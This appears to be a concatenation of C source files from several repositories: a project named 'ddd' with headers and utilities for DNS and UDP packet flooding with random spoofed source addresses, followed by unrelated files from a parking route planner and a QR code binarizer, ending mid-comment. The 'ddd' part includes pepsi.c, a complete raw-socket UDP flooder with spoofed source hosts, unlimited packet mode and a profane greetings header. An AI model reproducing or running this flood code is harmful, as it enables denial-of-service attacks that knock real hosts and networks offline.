#ifndef _UTILS_H #define _UTILS_H char * str_replace ( const char *string, const char *substr, const char *replacement ); int random_int(int min, int max); unsigned long random_lip(void); char * random_cip (void); char * random_chars(char *dst, int start, int end); #endif /// _UTILS_H
millken/ddd
test/process.c
#include <signal.h> #include <stdio.h> #include <unistd.h> #include <stdlib.h> void restart_process(char **args){ int childpid; childpid = fork (); if (childpid < 0) { perror ("fork failed"); } else if (childpid == 0) { printf ("new process %d", getpid()); int rv = execve (args[0], args, NULL); if (rv == -1) { perror ("execve"); exit (EXIT_FAILURE); } } else { sleep (5); printf ("killing %d\n", getpid()); kill (getpid (), SIGTERM); } } volatile sig_atomic_t signal_recieved = 0; void sighandler (int signum) { signal_recieved = 1; } int main(int argc, char* argv[]){ int i = 60; printf ("process %d starting\n", getpid ()); if (signal (SIGUSR1, sighandler) == SIG_ERR) { perror ("signal failed"); } while (i-- > 0) { printf ("\nIteration --> %d", i); if (signal_recieved) { signal_recieved = 0; restart_process (argv); } sleep(1); } return 0; }
millken/ddd
include/worker.h
<reponame>millken/ddd<gh_stars>1-10 #ifndef _WORKER_H #define _WORKER_H void start_worker(); int fork_process(void (*func)()); int new_thread_p(void *func, void *i); void dns_master(); void dns_worker(); #endif /// _WORKER_H
millken/ddd
include/dns.h
#include <stdio.h> #include <stdlib.h> #include <string.h> #include <sys/socket.h> #include <netinet/ip.h> #include <netinet/udp.h> #include <arpa/inet.h> #include <unistd.h> // Typedef the iphdr and udphdr from the netinet libs to prevent // an infestation of "struct" in all the checksum and size calculations typedef struct iphdr iph; typedef struct udphdr udph; // Pseudoheader struct typedef struct { u_int32_t saddr; u_int32_t daddr; u_int8_t filler; u_int8_t protocol; u_int16_t len; }ps_hdr; // DNS header struct typedef struct { unsigned short id; // ID unsigned short flags; // DNS Flags unsigned short qcount; // Question Count unsigned short ans; // Answer Count unsigned short auth; // Authority RR unsigned short add; // Additional RR }dns_hdr; // Question types typedef struct { unsigned short qtype; unsigned short qclass; }query; void dns_send1();
millken/ddd
include/udp.h
// see struct http://www.linuxbase.org/navigator/browse/type_single.php?cmd=list-by-id&Tid=37103 #include <sys/socket.h> #include <netinet/ip.h> #define __FAVOR_BSD #define _USE_BSD #include <netinet/udp.h> // struct udp int udp_send(); void udp_worker();
millken/ddd
test/socket.c
<filename>test/socket.c //http://www.cnitblog.com/zouzheng/archive/2010/11/25/71711.html //http://stackoverflow.com/questions/4181784/how-to-set-socket-timeout-in-c-when-making-multiple-connections //http://www.binarytides.com/receive-full-data-with-recv-socket-function-in-c/ //https://github.com/noumia/cc_inflate/tree/master/test //https://github.com/choobin/obfuslate #include <stdio.h> #include <string.h> #include <stdlib.h> #include <unistd.h> #include <fcntl.h> #include <sys/time.h> #include <netinet/tcp.h> #include <sys/socket.h> #include <sys/types.h> #include <netinet/in.h> #include <netdb.h> #include <errno.h> int socket_connect(char *host, u_short port){ int timeout = 3; //3 sec connect timeout struct timeval tv_conn; tv_conn.tv_sec = timeout; tv_conn.tv_usec = 0; struct timeval tv_recv; tv_recv.tv_sec = 5; /* 5 Secs Timeout */ tv_recv.tv_usec = 0; // Not init'ing this can cause strange errors struct hostent *hp; struct sockaddr_in addr; int on = 1; int sock = -1; if((hp = gethostbyname(host)) == NULL){ printf("Unable to resolve: %s\n", host); return 0; } bcopy(hp->h_addr, &addr.sin_addr, hp->h_length); addr.sin_port = htons(port); addr.sin_family = AF_INET; //memcpy(&addr.sin_addr.s_addr,hp->h_addr,hp->h_length); sock = socket(AF_INET, SOCK_STREAM, 0); setsockopt(sock, SOL_SOCKET, SO_SNDTIMEO, &tv_conn, sizeof(tv_conn)); setsockopt(sock, IPPROTO_TCP, TCP_NODELAY, (const char *)&on, sizeof(int)); setsockopt(sock, SOL_SOCKET, SO_RCVTIMEO, &tv_recv, sizeof(tv_recv)); if(sock == -1){ printf("setsockopt error\n"); return sock; } if(connect(sock, (struct sockaddr *)&addr, sizeof(addr)) == -1) { if (errno == EINPROGRESS) { fprintf(stderr, "connect %s timeout\n", host); return -1; } return sock; } return sock; } #define MAXLINE 4096 int main(int argc, char *argv[]){ int fd, n; char sendline[MAXLINE + 1], recvline[MAXLINE + 1]; if(argc < 3){ fprintf(stderr, "Usage: %s <hostname> <port>\n", argv[0]); exit(1); } snprintf(sendline, 300, "GET %s HTTP/1.1\r\n" "Host: %s\r\n" "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n" "Accept-Encoding: gzip, deflate\r\n" "User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; rv:30.0) Gecko/20100101 Firefox/30.0\r\n" "Pragma: no-cache\r\n" "Cache-Control: no-cache\r\n" "Connection: close\r\n\r\n", "/config.ini", argv[1]); fd = socket_connect(argv[1], atoi(argv[2])); if (fd <= 0) { fprintf(stderr, "socket connect error! %d\n", fd); exit(1); } write(fd, sendline, strlen(sendline)); bzero(recvline, MAXLINE); while ((n = read(fd, recvline, MAXLINE)) > 0) { recvline[n] = '\0'; printf("%s", recvline); bzero(recvline, MAXLINE); } shutdown(fd, SHUT_RDWR); close(fd); return 0; }
millken/ddd
utils.c
#include <string.h> #include <stdlib.h> #include <sys/socket.h> //#include <netinet/in.h> #include <arpa/inet.h> //inet_ntoa report error, if no #include <unistd.h> #include <stdio.h> #include "utils.h" unsigned short ip_sum (unsigned short *addr, int len) { register int nleft = len; register unsigned short *w = addr; register int sum = 0; unsigned short answer = 0; while (nleft > 1) { sum += *w++; nleft -= 2; } if (nleft == 1) { *(unsigned char *) (&answer) = *(unsigned char *) w; sum += answer; } sum = (sum >> 16) + (sum & 0xffff); sum += (sum >> 16); answer = ~sum; return (answer); } unsigned short cksum (unsigned short * buf, int nwords) { unsigned long sum; for (sum = 0; nwords > 0; nwords--) sum += *buf++; sum = (sum >> 16) + (sum & 0xffff); sum += (sum >> 16); return ~sum; } char * str_replace ( const char *string, const char *substr, const char *replacement ) { char *tok = NULL; char *newstr = NULL; char *oldstr = NULL; char *head = NULL; /* if either substr or replacement is NULL, duplicate string a let caller handle it */ if ( substr == NULL || replacement == NULL ) return strdup (string); newstr = strdup (string); head = newstr; while ( (tok = strstr ( head, substr ))){ oldstr = newstr; newstr = malloc ( strlen ( oldstr ) - strlen ( substr ) + strlen ( replacement ) + 1 ); /*failed to alloc mem, free old string and return NULL */ if ( newstr == NULL ){ free (oldstr); return NULL; } memcpy ( newstr, oldstr, tok - oldstr ); memcpy ( newstr + (tok - oldstr), replacement, strlen ( replacement ) ); memcpy ( newstr + (tok - oldstr) + strlen( replacement ), tok + strlen ( substr ), strlen ( oldstr ) - strlen ( substr ) - ( tok - oldstr ) ); memset ( newstr + strlen ( oldstr ) - strlen ( substr ) + strlen ( replacement ) , 0, 1 ); /* move back head right after the last replacement */ head = newstr + (tok - oldstr) + strlen( replacement ); free (oldstr); } return newstr; } int random_int(int min, int max) { srandom( time(0)+clock()+random() ); unsigned int s_seed = 214013 * rand() + 2531011; return min+(s_seed ^ s_seed>>15)%(max-min+1); } char * int2char() { } unsigned long random_lip(void) { char convi[16]; sprintf (convi, "%d.%d.%d.%d", random_int(1, 254), random_int(1, 254), random_int(1, 254), random_int(1, 254)); return inet_addr (convi); } char * random_cip (void) { struct in_addr hax0r; hax0r.s_addr = random_lip(); return (inet_ntoa(hax0r)); } char * random_chars(char *dst, int start, int end) { srandom( time(0)+clock()+random() ); //生成更好的随机数 static const char allowable_chars[] = "1234567890abcdefhijklnmopqrstuwxyz"; int i, r; int size = rand()%(end - start + 1) + start;/*n为a~b之间的随机数*/ for (i = 0; i< size; i++) { r = (int)((double)rand() / ((double)RAND_MAX + 1) * (sizeof(allowable_chars) -1 )); dst[i] = allowable_chars[r]; } dst[i] = '\0'; return dst; }
millken/ddd
include/config.h
#ifndef _CONFIG_H #define _CONFIG_H #define DDD_VERSION "v0.01" #define BOOL unsigned char #define TRUE 1 #define FALSE 0 static int handler(void* user, const char* section, const char* name, const char* value); void daemonize_init(); void parse_config(); int bool_value(char *value); typedef struct { BOOL daemon; //dns config BOOL dns_active; const char* dns_type; const char* dns_domain; const char* dns_sourceip; const char* dns_targetip; const char* dns_file; int dns_threads; int dns_mode; //udp config BOOL udp_active; const char* udp_sourceip; const char* udp_targetip; int udp_sourceport; int udp_targetport; int udp_pkgsize; int udp_sleeptime; int udp_threads; }Configuration; #endif /// _CONFIG_H
millken/ddd
test/pepsi.c
<filename>test/pepsi.c /* * pepsi.c * Random Source Host UDP flooder * * Author: <EMAIL> * * [12.25.1996] * * Greets To: Havok, nightmar, vira, Kage, ananda, tmw, Cheesebal, efudd, * Capone, cph|ber, WebbeR, Shadowimg, robocod, napster, marl, eLLjAY, fLICK^ * Toasty, [shadow], [magnus] and silitek, oh and Data-T. * * Fuck You to: Razor1911 the bigest fucking lamers in the warez comunity, * Yakuza for ripping my code, #cha0s on the undernet for trying to port * it to win95, then ircOpers on efnet for being such cocksuckers * especially prae for trying to call the fbi on me at least 5 times. * all warez pups i don't know for ripping off honest programers. * and Dianora for being a lesbian hoe, Srfag..err SrfRog for having an ego * the size of california. * AND A BIG HUGE ENORMOUS FUCK YOU TO myc, throwback, crush, asmodean, Piker, * pireaus, A HUGE FUCKING FUCK to texas.net, and the last HUGEST FUCK IN * INTERNET HISTORY, AMM. * * * Disclaimer since i don't wanna go to jail * - this is for educational purposes only *http://www.hoobie.net/security/exploits/hacking/pepsi.c */ /* [Defines] */ #define FRIEND "My christmas present to the internet -Soldier" #define VERSION "Pepsi.c v1.6" #define DSTPORT 7 #define SRCPORT 19 #define PSIZE 1024 #define DWAIT 1 /* [Includes] */ #include <unistd.h> #include <stdlib.h> #include <string.h> #include <netdb.h> #include <stdio.h> #include <sys/types.h> #include <sys/socket.h> #include <netinet/in.h> #include <netinet/in_systm.h> #include <netinet/ip.h> #include <netinet/tcp.h> #include <netinet/protocols.h> #include <arpa/inet.h> #include <netdb.h> #include <signal.h> #include <netinet/ip_udp.h> #include <string.h> #include <pwd.h> /* [Banner] */ void banner() { printf("\t\t\t%s Author - Soldier \n", VERSION); printf("\t\t\t [10.27.96] \n\n"); printf("This Copy Registered to: %s\n\n", FRIEND); } /* [Option Parsing] */ struct sockaddr_in dstaddr; unsigned long dst; struct udphdr *udp; struct iphdr *ip; char *target; char *srchost; int dstport = 0; int srcport = 0; int numpacks = 0; int psize = 0; int wait = 0; /* [Usage] */ void usage(char *pname) { printf("usage:\n "); printf("%s [-s src] [-n num] [-p size] [-d port] [-o port] [-w wait] <dest>\n\n", pname); printf("\t-s <src> : source where packets are comming from\n"); printf("\t-n <num> : number of UDP packets to send\n"); printf("\t-p <size> : Packet Size [Default is 1024]\n"); printf("\t-d <port> : Destination Port [Default is %.2d]\n", DSTPORT); printf("\t-o <port> : Source Port [Default is %.2d]\n", SRCPORT); printf("\t-w <time> : Wait time between packets [Default is 1]\n"); printf("\t<dest> : destination \n"); printf("\n"); exit(EXIT_SUCCESS); } /* [In chksum with some mods] */ unsigned short in_cksum(addr, len) u_short *addr; int len; { register int nleft = len; register u_short *w = addr; register int sum = 0; u_short answer = 0; while (nleft > 1) { sum += *w++; sum += *w++; nleft -= 2; } if (nleft == 1) { *(u_char *) (&answer) = *(u_char *) w; sum += answer; } sum = (sum >> 17) + (sum & 0xffff); sum += (sum >> 17); answer = -sum; return (answer); } /* Resolve Functions */ unsigned long resolve(char *cp) { struct hostent *hp; hp = gethostbyname(cp); if (!hp) { printf("[*] Unable to resolve %s\t\n", cp); exit(EXIT_FAILURE); } return ((unsigned long) hp->h_addr); } void resolvedest(void) { struct hostent *host; memset(&dstaddr, 0, sizeof(struct sockaddr_in)); dstaddr.sin_family = AF_INET; dstaddr.sin_addr.s_addr = inet_addr(target); if (dstaddr.sin_addr.s_addr == -1) { host = gethostbyname(target); if (host == NULL) { printf("[*] Unable To resolve %s\t\n", target); exit(EXIT_FAILURE); } dstaddr.sin_family = host->h_addrtype; memcpy((caddr_t) & dstaddr.sin_addr, host->h_addr, host->h_length); } memcpy(&dst, (char *) &dstaddr.sin_addr.s_addr, 4); } /* Parsing Argz */ void parse_args(int argc, char *argv[]) { int opt; while ((opt = getopt(argc, argv, "s:d:n:p:w:o:")) != -1) switch (opt) { case 's': srchost = (char *) malloc(strlen(optarg) + 1); strcpy(srchost, optarg); break; case 'd': dstport = atoi(optarg); break; case 'n': numpacks = atoi(optarg); break; case 'p': psize = atoi(optarg); break; case 'w': wait = atoi(optarg); break; case 'o': srcport = atoi(optarg); break; default: usage(argv[0]); } if (!dstport) dstport = DSTPORT; if (!srcport) srcport = SRCPORT; if (!psize) psize = PSIZE; if (!wait) wait = DWAIT; if (!argv[optind]) { puts("[*] Specify a target host, doof!"); exit(EXIT_FAILURE); } target = (char *) malloc(strlen(argv[optind])); if (!target) { puts("[*] Agh! Out of memory!"); perror("malloc"); exit(EXIT_FAILURE); } strcpy(target, argv[optind]); } /* [Send Packet] */ void main(int argc, char *argv[]) { int sen, i, unlim = 0, sec_check; char *packet; banner(); if (argc < 2) usage(argv[0]); parse_args(argc, argv); resolvedest(); printf("# Target Host : %s\n", target); printf("# Source Host : %s\n", (srchost && *srchost) ? srchost : "Random"); if (!numpacks) printf("# Number : Unliminted\n"); else printf("# Number : %d\n", numpacks); printf("# Packet Size : %d\n", psize); printf("# Wait Time : %d\n", wait); printf("# Dest Port : %d\n", dstport); printf("# Source Port : %d\n", srcport); sen = socket(AF_INET, SOCK_RAW, IPPROTO_RAW); packet = (char *) malloc(sizeof(struct iphdr) + sizeof(struct udphdr) + psize); ip = (struct iphdr *) packet; udp = (struct udphdr *) (packet + sizeof(struct iphdr)); memset(packet, 0, sizeof(struct iphdr) + sizeof(struct udphdr) + psize); if (!numpacks) { unlim++; numpacks++; } if (srchost && *srchost) ip->saddr = resolve(srchost); ip->daddr = dst; ip->version = 4; ip->ihl = 5; ip->ttl = 255; ip->protocol = IPPROTO_UDP; ip->tot_len = htons(sizeof(struct iphdr) + sizeof(struct udphdr) + psize); ip->check = in_cksum(ip, sizeof(struct iphdr)); udp->source = htons(srcport); udp->dest = htons(dstport); udp->len = htons(sizeof(struct udphdr) + psize); for (i = 0; i < numpacks; (unlim) ? i++, i-- : i++) { if (!srchost) ip->saddr = rand(); if (sendto(sen, packet, sizeof(struct iphdr) + sizeof(struct udphdr) + psize, 0, (struct sockaddr *) &dstaddr, sizeof(struct sockaddr_in)) == (-1)) { puts("[*] Error sending Packet"); perror("SendPacket"); exit(EXIT_FAILURE); } usleep(wait); } }
Gauri7/clock1
cbits/hs_clock_darwin.c
#ifdef __MACH__ #include <time.h> #include <mach/clock.h> #include <mach/mach.h> void hs_clock_darwin_gettime(clock_id_t clock, struct timespec *ts) { // OS X does not have clock_gettime, use clock_get_time // see http://stackoverflow.com/questions/11680461/monotonic-clock-on-osx clock_serv_t cclock; mach_timespec_t mts; host_get_clock_service(mach_host_self(), clock, &cclock); clock_get_time(cclock, &mts); mach_port_deallocate(mach_task_self(), cclock); ts->tv_sec = mts.tv_sec; ts->tv_nsec = mts.tv_nsec; } void hs_clock_darwin_getres(clock_id_t clock, struct timespec *ts) { clock_serv_t cclock; int nsecs; mach_msg_type_number_t count; host_get_clock_service(mach_host_self(), clock, &cclock); clock_get_attributes(cclock, CLOCK_GET_TIME_RES, (clock_attr_t)&nsecs, &count); mach_port_deallocate(mach_task_self(), cclock); } #endif /* __MACH__ */
bdmendes/feup-cal-parking
src/model/StreetMap/StreetMap.h
<reponame>bdmendes/feup-cal-parking #ifndef FEUP_CAL_PARKING_STREETMAP_H #define FEUP_CAL_PARKING_STREETMAP_H #include "../Graph/Graph.hpp" #include "MapPoint.h" #include "graphviewer.h" #include <fstream> class StreetMap : public Graph<MapPoint> { public: StreetMap(unsigned int windowWidth, unsigned int windowHeight); StreetMap(); void readFromFile(const std::string& nodesXYPath, const std::string& nodesLatLongPath, const std::string& edgesPath); void showGraph(); void showGraph(const std::vector<std::vector<Node<MapPoint> *>> &carPaths, const std::vector<std::vector<Node<MapPoint> *>> &walkPaths, useconds_t colorDelay); Node<MapPoint> * addNode(id_t id, const MapPoint &element) override; Edge<MapPoint> * addEdge(id_t id, Node<MapPoint> *source, Node<MapPoint> *target, double weight) override; void removeNode(const MapPoint &element) override; void removeEdge(const MapPoint &source, const MapPoint &target) override; void removeEdge(Edge<MapPoint>* edge); private: void colorPath(const std::vector<Node<MapPoint> *> &path, sf::Color edgeColor, sf::Color pointsColor, sf::Color parksColor, useconds_t delay, bool colorFirst, bool colorLast, sf::Color sourceColor, sf::Color targetColor); void colorNode(id_t id, sf::Color color); void colorEdge(id_t id, sf::Color color); void retrieveDimensionLimits(std::ifstream &nodesXY); void readNodes(std::ifstream& nodesXY, std::ifstream& nodesLatLng); void readEdges(std::ifstream& edges); GraphViewer _gv; std::unordered_map<id_t, GraphViewer::Node*> _gvNodes; std::unordered_map<id_t, GraphViewer::Edge*> _gvEdges; unsigned _width; unsigned _height; double _minX = -3300, _minY = -3000, _maxX = 9500, _maxY = 3100; }; #endif //FEUP_CAL_PARKING_STREETMAP_H
bdmendes/feup-cal-parking
src/controller/connectivity.h
<reponame>bdmendes/feup-cal-parking<filename>src/controller/connectivity.h #ifndef FEUP_CAL_PARKING_CONNECTIVITY_H #define FEUP_CAL_PARKING_CONNECTIVITY_H #include "../algorithms/search.hpp" #include "../model/StreetMap/StreetMap.h" bool isStronglyConnected(const StreetMap &map); bool isConnected(StreetMap &map, const std::vector<Node<MapPoint>*> &stopPoints, Node<MapPoint> *source); #endif //FEUP_CAL_PARKING_CONNECTIVITY_H
bdmendes/feup-cal-parking
src/ui/ui.h
<filename>src/ui/ui.h #ifndef UI_H #define UI_H #include "../model/Graph/Graph.hpp" #include "../model/StreetMap/StreetMap.h" class UI { public: explicit UI(StreetMap& map); virtual void show() = 0; protected: /** * Command handler. Loops while string received is empty. * @param lowCase - whether the received string should be lowercased. * @return string received, with redundant spaces removed */ static std::string readCommand(bool lowCase = true); /** * Whether the input is one word, equal to cmd * @param input to be tested * @param cmd to be compared to * @return the validity of the input */ static bool validInput1Cmd(const std::string& input, const std::string &cmd); /** * Whether the input is two words, the first one being cmd and the second one a valid digit * @param input to be tested * @param cmd to compare first word to * @param acceptFloat whether to accept pointing float as the second input word * @return the validity of the input */ static bool validInput1Cmd1ArgDigit(const std::string& input, const std::string &cmd, bool acceptFloat = false); /** * Whether the input is two words, the first one being cmd and the second arg * @param input to be tested * @param cmd to compare first word two * @param arg to compare second word to * @return the validity of the input */ static bool validInput1Cmd1Arg(const std::string& input, const std::string &cmd, const std::string &arg); static bool validInput1Cmd1ArgDigits(const std::string& input, const std::string &cmd); /** * Whether the input is three words, the first being cmd and the second and third valid digits * @param input to be tested * @param cmd to compare first two * @param acceptFloatArg2 whether to allow pointing float as the third word * @return the validity of the input */ static bool validInput1Cmd2ArgsDigit(const std::string& input, const std::string &cmd, bool acceptFloatArg2 = false); /** * Print the message, followed by the list of commands, one by line starting with an arrow * @param options vector with strings containing the commands user has at his disposition * @param message to display before the list of available commands */ static void printOptions(const std::vector<std::string>& options, const std::string& message = "Available commands:"); static bool validInput1Cmd1ArgFree(const std::string& input, const std::string &cmd); static bool validInput1Cmd2ArgsFree(const std::string &input, const std::string &cmd); /** * Print "Unrecognized command. Try again: " */ static void printError(); /** * UI reserved keyword to go back at each screen */ static const char* BACK; /** * UI reserved keyword to exit in the first page */ static const char* EXIT; StreetMap& _map; Node<MapPoint>* _source = nullptr; Node<MapPoint>* _destination = nullptr; std::vector<Node<MapPoint>*> _stopPoints; std::vector<bool> _stopPointsShallPark; float _iFactor = 0.2, _jFactor = 0.4, _kFactor = 0.4, _maxParkWalk = 200; bool _possibleTSP = false; bool _loaded = false; }; #endif
bdmendes/feup-cal-parking
src/ui/menu/menu.h
#ifndef MENU_H #define MENU_H #include "../ui.h" #include "../../model/Graph/Graph.hpp" #include "../../model/StreetMap/StreetMap.h" class Menu : public UI { public: explicit Menu(StreetMap& map); void show() override; private: void calculateConnectivity(StreetMap &map, const std::vector<Node<MapPoint>*> &stopPoints, Node<MapPoint> *source); void defaultImportMap(); void importMap(const std::string& input); void calculateRoute(); StreetMap* getSimplifiedMap(std::vector<Node<MapPoint>*> path); }; #endif
bdmendes/feup-cal-parking
src/model/StreetMap/MapPoint.h
#ifndef FEUP_CAL_PARKING_MAPPOINT_H #define FEUP_CAL_PARKING_MAPPOINT_H typedef struct { unsigned capacity; unsigned freeSpots; double fixedPrice; double capacityTaxFactor; } ParkFields; class MapPoint { public: MapPoint(double x, double y, double latitude, double longitude, bool park = false, ParkFields parkFields = {}); MapPoint(double x, double y); double getLatitude() const; double getLongitude() const; bool isPark() const; const ParkFields &getParkFields() const; double getX() const; double getY() const; double euclideanDistance(const MapPoint& rhs) const; bool operator==(const MapPoint &rhs) const; bool operator!=(const MapPoint &rhs) const; private: double _x; double _y; double _latitude; double _longitude; bool _park; ParkFields _parkFields; }; #endif //FEUP_CAL_PARKING_MAPPOINT_H
bdmendes/feup-cal-parking
src/performance/performance.h
#ifndef FEUP_CAL_PARKING_PERFORMANCE_H #define FEUP_CAL_PARKING_PERFORMANCE_H #include "../model/Graph/Graph.hpp" #include "../model/StreetMap/StreetMap.h" inline Graph<int> generateRandomGraph(unsigned size) { Graph<int> graph{}; id_t nodeId = 1; for (unsigned i = 0; i < size; ++i) { graph.addNode(nodeId++, rand() % (10 * size)); } id_t edgeId = 1; for (Node<int> *node : graph.getNodes()) { node->addEdge(edgeId++, graph.findNodeById(rand() % graph.getNumberOfNodes() + 1), rand() % (10 * size)); } return graph; } inline Graph<int> generateRandomGraphConnected(unsigned size) { Graph<int> graph{}; id_t nodeId = 1; for (unsigned i = 0; i < size; ++i) { graph.addNode(nodeId, nodeId); nodeId++; } id_t edgeId = 1; for (id_t i = 1; i <= graph.getNumberOfNodes(); ++i) { for (id_t j = 1; j <= graph.getNumberOfNodes(); ++j) { if (i == j) continue; graph.addEdge(edgeId++, graph.findNodeById(i), graph.findNodeById(j), rand() % (size * 10)); } } return graph; } inline Graph<MapPoint> generateRandomMap(unsigned size) { Graph<MapPoint> graph{}; id_t nodeId = 1; for (unsigned i = 0; i < size; ++i) { MapPoint point(rand() % (10 * size), rand() % (10 * size)); graph.addNode(nodeId++, point); } id_t edgeId = 1; for (Node<MapPoint> *node : graph.getNodes()) { node->addEdge(edgeId++, graph.findNodeById(rand() % graph.getNumberOfNodes() + 1), rand() % (10 * size)); } return graph; } void testPerformanceKosaraju(unsigned iterations, unsigned minSize, unsigned maxSize, unsigned step); void testPerformanceBfs(unsigned iterations, unsigned minSize, unsigned maxSize, unsigned step); void testPerformanceDfs(unsigned iterations, unsigned minSize, unsigned maxSize, unsigned step); void testPerformanceDijkstra(unsigned iterations, unsigned minSize, unsigned maxSize, unsigned step); void testPerformanceAStar(unsigned iterations, unsigned minSize, unsigned maxSize, unsigned step); void testPerformanceFloydWarshall(unsigned iterations, unsigned minSize, unsigned maxSize, unsigned step); void testPerformanceNearestNeighbour(unsigned iterations, unsigned minSize, unsigned maxSize, unsigned step); void testPerformanceBruteForce(unsigned iterations, unsigned minSize, unsigned maxSize, unsigned step); #endif //FEUP_CAL_PARKING_PERFORMANCE_H
bdmendes/feup-cal-parking
src/controller/parkselector.h
<filename>src/controller/parkselector.h #ifndef FEUP_CAL_PARKING_PARKSELECTOR_H #define FEUP_CAL_PARKING_PARKSELECTOR_H #include <vector> #include "../model/StreetMap/MapPoint.h" #include "../model/Graph/Graph.hpp" std::vector<Node<MapPoint>*> getPathAfterParkReplacement(Graph<MapPoint>& graph, const std::vector<Node<MapPoint>*>& stopPoints, Node<MapPoint>* sourceNode, Node<MapPoint>* endNode, std::vector<bool> shallPark, float iFactor, float jFactor, float kFactor, double maxEuclideanDistance); std::vector<std::vector<Node<MapPoint>*>> getWalkPaths(Graph<MapPoint>& graph, const std::vector<Node<MapPoint>*>& stopPoints, const std::vector<Node<MapPoint>*>& actualStops); #endif //FEUP_CAL_PARKING_PARKSELECTOR_H
teejoe/qrcodeplus
core/src/main/cpp/denoise.h
<filename>core/src/main/cpp/denoise.h<gh_stars>1-10 #ifndef DENOISE_H #define DENOISE_H void medianBlur(unsigned char* src, int width, int height); #endif
teejoe/qrcodeplus
core/src/main/cpp/hybridbinarizer.h
<filename>core/src/main/cpp/hybridbinarizer.h #ifndef HYBRID_BYNARIZER_H #define HYBRID_BYNARIZER_H int** calculateBlackPoints(unsigned char* luminances, int subWidth, int subHeight, int width, int height); void calculateThresholdForBlock(unsigned char* luminances, int subWidth, int subHeight, int width, int height, float scaleFactor, int* matrix); #endif
teejoe/qrcodeplus
core/src/main/cpp/hybridbinarizer.c
<reponame>teejoe/qrcodeplus<filename>core/src/main/cpp/hybridbinarizer.c #define BLOCK_SIZE_POWER 3 #define BLOCK_SIZE (1 << BLOCK_SIZE_POWER) // ...0100...00 #define BLOCK_SIZE_MASK (BLOCK_SIZE - 1) // ...0011...11 #define MINIMUM_DIMENSION (BLOCK_SIZE * 5) #define MIN_DYNAMIC_RANGE 24 int** calculateBlackPoints( unsigned char* luminances, int subWidth, int subHeight, int width, int height) { int maxYOffset = height - BLOCK_SIZE; int maxXOffset = width - BLOCK_SIZE; int** blackPoints = malloc(subHeight * sizeof(int*)); for (int i = 0; i < subHeight; i++) { blackPoints[i] = malloc(subWidth * sizeof(int)); } for (int y = 0; y < subHeight; y++) { int yoffset = y << BLOCK_SIZE_POWER; if (yoffset > maxYOffset) { yoffset = maxYOffset; } for (int x = 0; x < subWidth; x++) { int xoffset = x << BLOCK_SIZE_POWER; if (xoffset > maxXOffset) { xoffset = maxXOffset; } int sum = 0; int min = 0xFF; int max = 0; for (int yy = 0, offset = yoffset * width + xoffset; yy < BLOCK_SIZE; yy++, offset += width) { for (int xx = 0; xx < BLOCK_SIZE; xx++) { int pixel = luminances[offset + xx] & 0xFF; sum += pixel; // still looking for good contrast if (pixel < min) { min = pixel; } if (pixel > max) { max = pixel; } } // short-circuit min/max tests once dynamic range is met if (max - min > MIN_DYNAMIC_RANGE) { // finish the rest of the rows quickly for (yy++, offset += width; yy < BLOCK_SIZE; yy++, offset += width) { for (int xx = 0; xx < BLOCK_SIZE; xx++) { sum += luminances[offset + xx] & 0xFF; } } } } // The default estimate is the average of the values in the block. int average = sum >> (BLOCK_SIZE_POWER * 2); if (max - min <= MIN_DYNAMIC_RANGE) { // If variation within the block is low, assume this is a block with only light or only // dark pixels. In that case we do not want to use the average, as it would divide this // low contrast area into black and white pixels, essentially creating data out of noise. // // The default assumption is that the block is light/background. Since no estimate for // the level of dark pixels exists locally, use half the min for the block. average = min / 2; if (y > 0 && x > 0) { // Correct the "white background" assumption for blocks that have neighbors by comparing // the pixels in this block to the previously calculated black points. This is based on // the fact that dark barcode symbology is always surrounded by some amount of light // background for which reasonable black point estimates were made. The bp estimated at // the boundaries is used for the interior. // The (min < bp) is arbitrary but works better than other heuristics that were tried. int averageNeighborBlackPoint = (blackPoints[y - 1][x] + (2 * blackPoints[y][x - 1]) + blackPoints[y - 1][x - 1]) / 4; if (min < averageNeighborBlackPoint) { average = averageNeighborBlackPoint; } } } blackPoints[y][x] = average; } } return blackPoints; } void thresholdBlock(unsigned char* luminances, int xoffset, int yoffset, int threshold, int stride, int* matrix) { int rowSize = (stride + 31) / 32; for (int y = 0, offset = yoffset * stride + xoffset; y < BLOCK_SIZE; y++, offset += stride) { for (int x = 0; x < BLOCK_SIZE; x++) { // Comparison needs to be <= so that black == 0 pixels are black even if the threshold is 0. if ((luminances[offset + x] & 0xFF) <= threshold) { //matrix.set(xoffset + x, yoffset + y); int offset = (yoffset + y) * rowSize + ((xoffset + x) / 32); matrix[offset] |= 1 << ((xoffset + x) & 0x1f); } } } } int cap(int value, int min, int max) { return value < min ? min : value > max ? max : value; } void calculateThresholdForBlock(unsigned char* luminances, int subWidth, int subHeight, int width, int height, float scaleFactor, int* matrix) { int** blackPoints = calculateBlackPoints(luminances, subWidth, subHeight, width, height); int maxYOffset = height - BLOCK_SIZE; int maxXOffset = width - BLOCK_SIZE; for (int y = 0; y < subHeight; y++) { int yoffset = y << BLOCK_SIZE_POWER; if (yoffset > maxYOffset) { yoffset = maxYOffset; } int top = cap(y, 2, subHeight - 3); for (int x = 0; x < subWidth; x++) { int xoffset = x << BLOCK_SIZE_POWER; if (xoffset > maxXOffset) { xoffset = maxXOffset; } int left = cap(x, 2, subWidth - 3); int sum = 0; for (int z = -2; z <= 2; z++) { int* blackRow = blackPoints[top + z]; sum += blackRow[left - 2] + blackRow[left - 1] + blackRow[left] + blackRow[left + 1] + blackRow[left + 2]; } int average = sum / 25; thresholdBlock(luminances, xoffset, yoffset, (int) (scaleFactor * average), width, matrix); } } for (int i = 0; i < subHeight; i++) { free(blackPoints[i]); } free(blackPoints); }
teejoe/qrcodeplus
core/src/main/cpp/qrcodeplus.c
<gh_stars>1-10 /* * Copyright (C) 2010 The Android Open Source Project * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ #include <jni.h> #include <time.h> #include <android/log.h> #include <android/bitmap.h> #include <stdio.h> #include <stdlib.h> #include <math.h> #include "hybridbinarizer.h" #include "globalhistogrambinarizer.h" #include "denoise.h" #define LOG_TAG "m2x_log_libqrcode" #define LOGI(...) __android_log_print(ANDROID_LOG_INFO,LOG_TAG,__VA_ARGS__) #define LOGE(...) __android_log_print(ANDROID_LOG_ERROR,LOG_TAG,__VA_ARGS__) /* Set to 1 to 